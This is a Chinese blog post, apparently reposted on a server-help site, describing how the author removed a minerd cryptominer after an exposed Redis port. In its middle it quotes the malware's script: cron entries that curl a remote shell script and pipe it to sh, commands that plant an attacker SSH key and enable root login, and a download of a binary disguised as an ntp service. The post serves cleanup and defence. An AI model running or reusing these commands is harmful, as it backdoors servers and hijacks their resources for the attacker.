一不小心裝了一個Redis服務(wù)，開了一個全網(wǎng)的默認(rèn)端口，一開始以為這臺服務(wù)器沒有公網(wǎng)ip，結(jié)果發(fā)現(xiàn)之后悔之莫及啊

某天發(fā)現(xiàn)cpu load高的出奇，發(fā)現(xiàn)一個minerd進(jìn)程占了大量cpu，google了一下，發(fā)現(xiàn)自己中招了

下面就是清理過程

第一步

1.立即停止redis服務(wù)，修改端口權(quán)限，增加密碼措施

2.按照網(wǎng)上的資料刪除 crontab 里的兩個內(nèi)容

sudo rm /var/spool/cron/root
sudo rm /var/spool/cron/crontabs/root

3.知己知彼，百戰(zhàn)不殆，研究病毒的初始話文件

得到結(jié)果

1.刪除crontab的配置文件，如上我們已經(jīng)刪除，涉及的代碼

echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/crontabs/root

2.刪除這個是用來免密碼登陸的

rm -f ~/.ssh/authorized_keys*
rm -f ~/.ssh/KHK75NEOiq

你甚至可以直接把.ssh這個目錄刪除掉
涉及的代碼

if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then
    mkdir -p ~/.ssh
    rm -f ~/.ssh/authorized_keys*
    echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ77

3qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq
    echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
    echo "RSAAuthentication yes" >> /etc/ssh/sshd_config
    echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config
    echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config
    /etc/init.d/sshd restart
fi

3.刪除 /opt/這個目錄這玩意是第四步的服務(wù)產(chǎn)生的

4.刪除服務(wù)

service ntp stop
rm /etc/init.d/ntp
rm /usr/sbin/ntp
涉及的代碼

if [ ! -f "/etc/init.d/ntp" ]; then
    if [ ! -f "/etc/systemd/system/ntp.service" ]; then
        mkdir -p /opt
        curl -fsSL http://r.chanstring.com/v51/lady_`uname -m` -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK75NEOiq33 && /opt/KHK75NEOiq33 -Install
    fi
fi

如上的代碼，下載了一個8M的程序，是安裝了什么東西，樓主也不知道，但是接下來的代碼暴露了行蹤

/etc/init.d/ntp start

這行代碼啟動了ntp這個服務(wù)，百度搜了下說是個時間服務(wù)，其實(shí)這玩意是病毒服務(wù)，打開這個文件，找到可執(zhí)行文件/usr/sbin/ntp 發(fā)現(xiàn)文件和那個8m的文件一個字節(jié)不差

所以刪除這個文件

最后

ps aux|grep minerd

kill 掉所有的進(jìn)程，ok修復(fù)結(jié)束

半小時之后

ps aux|grep minerd

minerd進(jìn)程不再出現(xiàn)

以上就是小編為大家?guī)淼膌inux中了minerd之后的完全清理過程(詳解)全部內(nèi)容了，希望大家多多支持服務(wù)器之家~
